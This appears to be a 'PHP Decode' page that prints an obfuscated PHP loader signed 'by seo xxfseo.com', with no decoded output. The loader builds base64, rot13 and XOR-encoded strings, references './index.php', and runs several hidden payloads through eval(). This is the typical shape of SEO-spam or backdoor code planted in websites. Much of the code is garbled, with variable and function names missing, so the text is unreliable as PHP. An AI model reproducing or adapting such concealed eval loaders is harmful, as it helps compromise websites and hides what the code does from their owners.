PHP Decode

<?php 
@Zend; 
2004167233; 
/*ZGphZGZ2AP4kBP4kZGLmYwD1AGLhZGphZGNmAt==,Njk1OGVjMTAxYWJjYjJkZTQ4NzI4ZDE4Y2U4MGI1NmE.ZGDlZQt=*/ 
/* by seo xxfseo.com */ 
define("", 85); 
if (version_compare(PHP_VERSION, '5.3.0', '<')) { 
    exit('<meta charset="utf-8">This system requires PHP version > 5.3 !'); 
} 
function ($? $?= 0) 
{ 
    static $?= array(); 
    if (isset($$)) { 
        return $$; 
    } 
    $ = "base64_decode"; 
    if ($? { 
        $ = "base64_encode"; 
    } 
    $ = $("ZGVmaW5l"); 
    $ = $("ZGVmaW5lZA=="); 
    $ = $("ZnVuY3Rpb25fZXhpc3Rz"); 
    if (!$('?)) { 
        function ?$? $?= "") 
        { 
            static $ = array(), $? $, $? $? $? $, $? $, $? $, $? $? $? $? $? $, $, $, $? $, $, $, $? $, $? $? $, $, $, $? $, $, $, $, $? $? $, $, $? $? 
            if (!isset($?) { 
                $?= ?"S0ZKCVVe"); 
                $ = ?"XltUAG9XVEc9WwldFgZfFhE="); 
                $?= ?"S0daFkRC"); 
                $?= ?"WlNLAAYEblcHWwlXBw=="); 
                $?= ?"S0ZKOkJfRQJR"); 
                $ = ?"S0ZKFV9D"); 
                $?= ?"XUpICV9UVA=="); 
                $ = ?"UVxME1Fc"); 
                $?= ?"X0hRC1ZcUEcH"); 
                $ = ?"FA=="); 
                $?= ?"Fg=="); 
                $?= $(?"CgIIUQEFCANUCg==")); 
                $?= ?"AldADEQY"); 
                $?= ?"FQM="); 
                $?= ?"XUpREQ=="); 
                $ = ?"S0daFkRCblANTQhH"); 
                $ = ?"DQ=="); 
                $ = ?"CgIIVQ=="); 
                $?= ?"Mg=="); 
                $ = ?"TVxUDF5b"); 
                $?= ?"XltUAG9AREc="); 
                $?= ?"Xl1IAF4="); 
                $ = ?"S0ZKOkJVQV8DWwM="); 
                $ = ?"Y0pAA20P"); 
                $ = ?"BA0="); 
                $?= ?"Eh0="); 
            } 
            $?? $?= $?$? : ($?= $_ENV['']); 
            if (@(!$[$) && ($[$ = $($_ENV['']))) { 
                ($($[$, $? > $?|| $($[$, $? > $?|| $($[$, $? > $? && ($[$ = $?; 
                $?$[$) - $($?$?$?$?$[$, 0, $($[$, $?), $($[$, $? + 0x1)))) > $ && ($[$ = $?; 
                $($?$[$, 0, $($)), $? > $ && @$($? && ($[$ = $?; 
            } 
            $ = $?$[$, 0xc, 0xa); 
            $?= $?$?$?$[$, 0x19, $($[$, $) - 0x19))); 
            $?= $?$? $?; 
            $ = $?$[$, $?- $); 
            $ = 0; 
            for ($i = 0; $i < $? $i++) { 
                $ += $($$i]); 
            } 
            $ = $?$, $, $($$)); 
            $ = $($, $, $); 
            return @$?$); 
        } 
        function ?$, $?= "") 
        { 
            static $?= array(); 
            if (isset($$ . $_ENV['']])) { 
                return $$]; 
            } 
            $ = ($); 
            if (!isset($?) { 
                $?= ("c3RybGVu"); 
                $ = ("c3Vic3Ry"); 
                $?= 0x0; 
                $?= ("bWQ1"); 
                $?= ("YmFzZW5hbWU="); 
            } 
            $?= $?$?$_ENV[''])); 
            $ = $?$); 
            $ = $?$?; 
            $?= ""; 
            for ($?= $? $?< $; $?= $?+ $) { 
                $?.= $?^ $($, $? $); 
            } 
            $$ . $_ENV['']] = $? 
            return $? 
        } 
    } 
    $$ = $($?; 
    return $$; 
} 
$_ENV[''] = !0; 
$_ENV['?] = ("c3RyX3JvdDEz"); 
$_ENV[''] = ($_ENV['?]("Yv9cozEyrP5jnUN=")); 
while ($_ENV['']) { 
    $ = ("oL2k+r6mvsTe0cDIs6+g69u8387u9LSv4u3Cmr7ixtvB26Kwu8C21azNzKK5zdDLyZzv7535lpbp+K/6tdbi4anQ9Z7Gva6XsfLW0PekmNSs3dzNqN72vNexq6OhvMzNuMLz58Hp0vC2m1g2ZVNFbSpHRitIaVVDUTMwem9rcW50MmpPPVZCZHNhSnloNWZ1Y2J3dlIxcFdLVF8vTVBBeEw4ZzRZSTc5WnJETmw="); 
    $?= ""; 
    $ = ?"mOmezovqpo/d"); 
    $ = ?"S0ZKEUI="); 
    $ = ?"S0daFkRC"); 
    $ = ?"DQA="); 
    $ = ?"YmpiDVJx"); 
    $ = ?"SEBdAm9CVEMOWQVW"); 
    $?= ?"X0hbCl1AQ1YRSw=="); 
    $ = ?"DAQO"); 
    $ = ?"DQA="); 
    eval($??0x3))); 
    $ = ("57vl7K7WstHVo6y8yunU8OHOwr3Puragxd6g2er17tb0zem7rp260bPK6bWmuK+o0puxz8fk7eOk58PmoNLJxpvZ78nF5rnZtJ353cek4JbPsNmXt5vv3d/LyKCX8p7t0Kuiz9Sn9dSax8WavpbKqNy5T2VpKnduVHQ1ZDZGa01oV1ExekNnZjAzK1hqTkVEL1pvS0hVX0JjTEFSdmE5eTdwc1ZZSkdTNDI9SXJ4dVBicW1sOA=="); 
    $ = ""; 
    $?= ?"mOmezovqpo/d"); 
    $ = ?"S0ZKEUI="); 
    $ = ?"S0daFkRC"); 
    $ = ?"DQA="); 
    $ = ?"YmpiDVJx"); 
    $ = ?"SEBdAm9CVEMOWQVW"); 
    $?= ?"X0hbCl1AQ1YRSw=="); 
    $?= ?"CwsK"); 
    $?= ?"DQA="); 
    eval($(?0x6))); 
    eval($(?0x4))); 
    $ = ("MTY3NjAwMTcxNDUwOTs="); 
    eval($); 
    $ = ("MTY3NjAwMTcxNDMyMDs="); 
    eval($); 
    break; 
} 
return; 
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